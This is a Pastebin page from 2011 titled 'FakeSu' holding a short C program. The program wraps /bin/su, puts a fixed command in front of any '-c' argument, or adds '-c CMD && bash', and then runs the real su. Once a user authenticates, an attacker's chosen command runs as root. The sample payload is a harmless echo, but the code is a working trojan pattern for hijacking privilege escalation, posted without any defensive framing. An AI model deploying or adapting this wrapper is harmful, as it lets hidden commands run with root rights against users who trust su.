Advertisement
frp

FakeSu

frp
Jun 8th, 2011
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.84 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <stdlib.h>
  5. #include <stdbool.h>
  6.  
  7. #define CMD "echo \"Hello, World!!\""
  8. int main(int argc,char** argv)
  9. {
  10.     char** new_argv=malloc(sizeof(char*)*(argc+3));
  11.     bool nxt_arg_is_cmd=false,cmd_found=false;
  12.     int i;
  13.     for(i=0;i<argc;i++)
  14.     {
  15.         if(nxt_arg_is_cmd)
  16.         {
  17.             new_argv[i]=malloc(strlen(argv[i])+100);
  18.             strcpy(new_argv[i],CMD);
  19.             strcat(new_argv[i]," && ");
  20.             strcat(new_argv[i],argv[i]);
  21.             cmd_found=true;
  22.             nxt_arg_is_cmd=false;
  23.         }
  24.         else
  25.             new_argv[i]=argv[i];
  26.         if(strcmp("-c",argv[i])==0)nxt_arg_is_cmd=true;
  27.     }
  28.     if(!cmd_found)
  29.     {
  30.         new_argv[argc]="-c";
  31.         new_argv[argc+1]=malloc(100);
  32.         strcpy(new_argv[argc+1],CMD);
  33.         strcat(new_argv[argc+1]," && bash");
  34.         new_argv[argc+2]=NULL;
  35.     }
  36.     else new_argv[argc]=NULL;
  37.     execv("/bin/su",new_argv);
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement